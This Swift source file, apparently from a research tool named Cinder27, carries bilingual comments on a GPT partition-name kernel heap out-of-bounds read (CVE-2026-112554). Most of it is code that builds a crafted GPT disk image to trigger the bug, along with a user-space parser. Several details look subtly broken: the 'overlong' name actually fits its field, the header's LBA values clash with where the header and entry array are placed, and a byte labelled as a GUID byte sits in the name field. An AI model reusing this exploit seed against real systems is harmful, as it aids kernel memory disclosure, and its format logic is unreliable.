129 lines
6.1 KiB
Swift
129 lines
6.1 KiB
Swift
// kext.gpt · IOStorageFamily · CVE-2026-112554
|
|
// 原语: OOB 读 · 内核 · tier 2
|
|
// Primitive: OOB read · kernel · tier 2
|
|
//
|
|
// [zh] GPT 分区名扫描 72 字节内核堆越界读
|
|
// 分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节，而 GPT 条目内的名字域仅 36 个 UTF-16 单元；27.0 的扫描因此越过条目尾，读入相邻内核堆。
|
|
//
|
|
// [en] GPT partition name scan 72-byte kernel heap out-of-bounds read
|
|
// The partition name scan's bound constant tightens from 0x48 to 0x24. 0x48 is 72 bytes, while the
|
|
// name field inside a GPT entry is only 36 UTF-16 units, so the 27.0 scan runs past the entry tail
|
|
// and into adjacent kernel heap.
|
|
// ── 判别 / oracle ──
|
|
// 应用侧无法 attach 磁盘镜像，故本模块做两件事：构造会使 27.0 越界的镜像，并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧，不在用户态。
|
|
|
|
import Foundation
|
|
|
|
// 本地化直通 shim — app 内该函数经 RuntimeText 映射输出双语。
|
|
// identity localization shim — the app routes this through RuntimeText.
|
|
func tl(_ s: String) -> String { s }
|
|
|
|
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (GPTPayload) ──
|
|
enum GPTPayload {
|
|
static func describe(_ image: Data) -> [String] {
|
|
var lines: [String] = []
|
|
guard image.count >= 1024 else { return [tl("镜像过短")] }
|
|
let sig = [UInt8](image[512..<520])
|
|
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
|
|
return [tl("无 GPT 签名")]
|
|
}
|
|
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
|
|
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
|
|
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
|
|
lines.append(tl("GPT 头: 条目表 LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" 项 · 每项 ") + "\(entrySize)" + tl(" B"))
|
|
let base = Int(entryLBA) * 512
|
|
for i in 0..<Int(entryCount) {
|
|
let off = base + i * Int(entrySize)
|
|
guard off + 128 <= image.count else { break }
|
|
var units: [UInt16] = []
|
|
for k in 0..<36 {
|
|
let lo = UInt16(image[off + 56 + k * 2])
|
|
let hi = UInt16(image[off + 56 + k * 2 + 1])
|
|
let unit = lo | (hi << 8)
|
|
if unit == 0 { break }
|
|
units.append(unit)
|
|
}
|
|
let name = String(decoding: units, as: UTF16.self)
|
|
if !name.isEmpty { lines.append(tl(" 分区 ") + "\(i)" + tl(": ") + "\(name)") }
|
|
}
|
|
return lines
|
|
}
|
|
|
|
static func oversizedName(entryCount: Int = 4) -> Data {
|
|
let sector = 512
|
|
var out = Data()
|
|
|
|
// protective MBR
|
|
var mbr = [UInt8](repeating: 0, count: sector)
|
|
mbr[446 + 4] = 0xEE
|
|
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
|
|
mbr[446 + 8] = 0x01
|
|
let totalSectors: UInt32 = 34
|
|
mbr[446 + 12] = UInt8(totalSectors & 0xff)
|
|
mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
|
|
mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
|
|
mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
|
|
mbr[510] = 0x55; mbr[511] = 0xAA
|
|
out.append(contentsOf: mbr)
|
|
|
|
// primary GPT header
|
|
var hdr = [UInt8](repeating: 0, count: sector)
|
|
hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
|
|
hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
|
|
hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
|
|
let headerSize: UInt32 = 92
|
|
hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
|
|
hdr[24] = 2 // my LBA
|
|
hdr[32] = 33 // alternate LBA
|
|
hdr[40] = 2 // first usable
|
|
hdr[48] = 32 // last usable
|
|
hdr[72] = 2 // entry array LBA
|
|
let entries: UInt32 = UInt32(entryCount)
|
|
hdr[80] = UInt8(entries & 0xff)
|
|
hdr[84] = 128 // entry size
|
|
out.append(contentsOf: hdr)
|
|
|
|
// partition entries
|
|
var array = Data()
|
|
for i in 0..<entryCount {
|
|
var entry = [UInt8](repeating: 0, count: 128)
|
|
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
|
|
entry[56] = UInt8(i + 1) // unique partition GUID byte
|
|
// name field at +56..+128 is 36 UTF-16 code units; declare a long run
|
|
let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
|
|
for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
|
|
entry[56 + k * 2] = UInt8(unit & 0xff)
|
|
entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
|
|
}
|
|
array.append(contentsOf: entry)
|
|
}
|
|
out.append(array)
|
|
while out.count % sector != 0 { out.append(0) }
|
|
return out
|
|
}
|
|
|
|
}
|
|
|
|
|